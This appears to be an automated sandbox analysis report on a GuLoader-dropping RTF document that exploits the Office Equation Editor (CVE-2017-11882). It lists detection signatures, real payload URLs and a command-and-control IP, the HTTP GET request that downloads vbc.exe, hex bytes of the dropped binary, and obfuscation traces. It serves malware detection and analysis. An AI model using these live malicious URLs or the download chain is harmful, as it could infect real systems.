Windows Analysis Report
A3hamzfUkW

Overview

General Information

Sample Name: A3hamzfUkW (renamed file extension from none to rtf)
Analysis ID: 561311
MD5: 30e90b61102da9d9132f6ccbfd286b73
SHA1: 949578725228909ffff575b8e2a7b397e6097585
SHA256: 084f59705fb0a98883454b511a2939f6ed91e9c04b7a2d7f8cb13ec834ec5215
Tags: rtf
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Antivirus detection for dropped file
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Execution from Suspicious Folder
Office equation editor drops PE file
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Document misses a certain OLE stream usually present in this Microsoft Office document type
Abnormal high CPU Usage
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection

barindex
Source: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://konutmarket.com/2022file_kLVMf"}
Source: A3hamzfUkW.rtf Virustotal: Detection: 50% Perma Link
Source: A3hamzfUkW.rtf ReversingLabs: Detection: 39%
Source: A3hamzfUkW.rtf Avira: detected
Source: http://172.245.119.43/2200/vbc.exe Avira URL Cloud: Label: malware
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen

Exploits

barindex
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C49
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406873 FindFirstFileW,FindClose, 4_2_00406873
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B

Software Vulnerabilities

barindex
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 172.245.119.43:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 172.245.119.43:80

Networking

barindex
Source: Malware configuration extractor URLs: https://konutmarket.com/2022file_kLVMf
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View IP Address: 172.245.119.43 172.245.119.43
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jan 2022 09:45:44 GMTServer: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27Last-Modified: Tue, 25 Jan 2022 15:51:44 GMTETag: "17728-5d66a0fd4b996"Accept-Ranges: bytesContent-Length: 96040Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 65 e3 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 28 0e 00 00 00 00 00 00 00 00 00 00 a0 62 01 00 88 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 28 0e 00 00 00 c0 04 00 00 10 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: GET /2200/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.119.43Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000004.00000000.415058123.000000000040A000.00000008.00000001.01000000.00000003.sdmp, vbc.exe, 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{EA13411A-D846-4185-AA36-2A58C910FC07}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /2200/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.119.43Connection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing

barindex
Source: C:\Users\Public\vbc.exe Code function: 4_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_004056DE

System Summary

barindex
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040755C 4_2_0040755C
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406D85 4_2_00406D85
Source: C:\Users\Public\vbc.exe Code function: 4_2_73281BFF 4_2_73281BFF
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F573A 4_2_036F573A
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F4561 4_2_036F4561
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F4375 4_2_036F4375
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F575E 4_2_036F575E
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F773F 4_2_036F773F
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F5B0C 4_2_036F5B0C
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F6109 4_2_036F6109
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F3DE7 4_2_036F3DE7
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F79D3 4_2_036F79D3
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F43A3 4_2_036F43A3
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F7187 4_2_036F7187
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F5783 4_2_036F5783
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F746E 4_2_036F746E
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F5652 4_2_036F5652
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F7651 4_2_036F7651
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F7022 4_2_036F7022
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F3C30 4_2_036F3C30
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F3EC4 4_2_036F3EC4
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F40DD 4_2_036F40DD
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F6EAF 4_2_036F6EAF
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F40B8 4_2_036F40B8
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F3E9D 4_2_036F3E9D
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F573A NtAllocateVirtualMemory, 4_2_036F573A
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F575E NtAllocateVirtualMemory, 4_2_036F575E
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F57F0 NtAllocateVirtualMemory, 4_2_036F57F0
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F5783 NtAllocateVirtualMemory, 4_2_036F5783
Source: ~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Users\Public\vbc.exe Process Stats: CPU usage > 98%
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: A3hamzfUkW.rtf Virustotal: Detection: 50%
Source: A3hamzfUkW.rtf ReversingLabs: Detection: 39%
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$hamzfUkW.rtf Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE426.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.winRTF@4/12@0/1
Source: C:\Users\Public\vbc.exe Code function: 4_2_004021AA CoCreateInstance, 4_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 4_2_0040498A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: ~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation

barindex
Source: Yara match File source: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: C:\Users\Public\vbc.exe Code function: 4_2_732830C0 push eax; ret 4_2_732830EE
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F6758 pushfd ; retf 4_2_036F6761
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F512D pushfd ; retf 4_2_036F66A9
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F2502 push esp; ret 4_2_036F2503
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F0FF6 push D02B8C97h; retf 4_2_036F1003
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F678F pushfd ; retf 4_2_036F67AF
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F2E5E push ecx; iretd 4_2_036F2E5F
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F502D pushfd ; retf 4_2_036F67AF
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F3806 push ds; ret 4_2_036F3810
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F4EF3 pushfd ; retf 4_2_036F6761
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F4EF3 pushfd ; retf 4_2_036F67AF
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F50CF pushfd ; retf 4_2_036F66A9
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F62A0 push ebx; retf 4_2_036F62AD
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F66B8 pushfd ; retf 4_2_036F66C6
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F50B5 pushfd ; retf 4_2_036F66C6
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F50B5 pushfd ; retf 4_2_036F66E3
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F669B pushfd ; retf 4_2_036F66A9
Source: C:\Users\Public\vbc.exe Code function: 4_2_73281BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_73281BFF

Persistence and Installation Behavior

barindex
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival

barindex
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
